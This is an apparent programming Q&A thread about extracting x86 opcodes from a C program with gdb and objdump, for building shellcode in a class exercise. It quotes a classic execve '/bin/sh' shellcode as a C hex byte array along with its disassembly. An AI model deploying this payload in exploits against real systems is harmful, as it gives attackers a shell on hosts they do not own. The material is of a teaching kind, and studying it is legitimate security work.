How to get opcodes of a c program

Question

I know how to get the assembly code of my program using gdb but how do I get the opcode? I need it to hack a linux server (don't worry it's part of a class I'm having so no real server will be harmed). Actually I was reading this article and I'm wondering how can I get from assembly:

[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm

(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.

the following:

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

The system is linux x86 and the language I will be using C. I'd really like an automated way, but a manual solution would work too.

I mean how do I convert %ebp, %esi, %esp etc.. Is there a map I can use? or an automated programm?

Solution 1

Found it! First disassemble then type : x/bx hit enter and get one by one the hex representation of the assembly commands!

Solution 2

Here you go:

Disassembly of section .data:

00000000 <shellcode>:
   0:       eb 2a                   jmp    2c <shellcode+0x2c>
   2:       5e                      pop    %esi
   3:       89 76 08                mov    %esi,0x8(%esi)
   6:       c6 46 07 00             movb   $0x0,0x7(%esi)
   a:       c7 46 0c 00 00 00 00    movl   $0x0,0xc(%esi)
  11:       b8 0b 00 00 00          mov    $0xb,%eax
  16:       89 f3                   mov    %esi,%ebx
  18:       8d 4e 08                lea    0x8(%esi),%ecx
  1b:       8d 56 0c                lea    0xc(%esi),%edx
  1e:       cd 80                   int    $0x80
  20:       b8 01 00 00 00          mov    $0x1,%eax
  25:       bb 00 00 00 00          mov    $0x0,%ebx
  2a:       cd 80                   int    $0x80
  2c:       e8 d1 ff ff ff          call   2 <shellcode+0x2>
  31:       2f                      das
  32:       62 69 6e                bound  %ebp,0x6e(%ecx)
  35:       2f                      das
  36:       73 68                   jae    a0 <shellcode+0xa0>
  38:       00 89 ec 5d c3 00       add    %cl,0xc35dec(%ecx)

Note how the last 00 in that add %cl instruction comes from the string null terminator byte; it is not explicit.

How I got this was that I simply compiled your declaration with

gcc testsc.c -c

and then

objdump -D testsc.o

Solution 3

You can use:

gcc -S -c tst.c -o -

or

gcc -g -ggdb -c tst.c
objdump -S tst.o

to get the disassembly of your program with the opcodes.

To get the disassembly of your char array, you can use:

gcc -c tst.c
objdump -D -j .data tst.o

Comments

[zvrba]

Are you sure? objdump won't disassemble data section by default and gcc won't convert arbitrary literal strings to opcodes.

[ouah]

@zvrba updated my answer, I didn't notice at first he wanted the disassembly of the array bytes.

[Kaz]

That may be so, but the answer is the same. You can disassemble that shellcodeasm program using objdump instead of doing it inside gcc. As you can see, the output format gives you the disassembly listing and the opcodes. You can do some text processing to cut out the column of bytes and automatically transform them into a C declaration.

[Kaz]

If objdump won't disassemble data sections by default, how I did produce that answer?

[ouah]

@Kaz -S as -d only disassembles .text but -D disassembles the other sections too.

[Kaz]

The GNU binutils objdump does not disassemble any section by default. In fact, by default, it prints a help screen.

[Morten Jensen]

gcc -c tst.c && objdump -S tst.o worked for me on Linux 2.6.32-5 and gcc 4.7.1. But just doing gcc -S -c tst.c -o - without the objdump-step only produces the assembly mnemonics on my system, not the opcodes

[Anonymous]

You can do it all at once by using x /100bx start_address That will give you the hex representation of the next 100 bytes starting from start_address. Change 100 to the number of bytes that your disassembled code spans.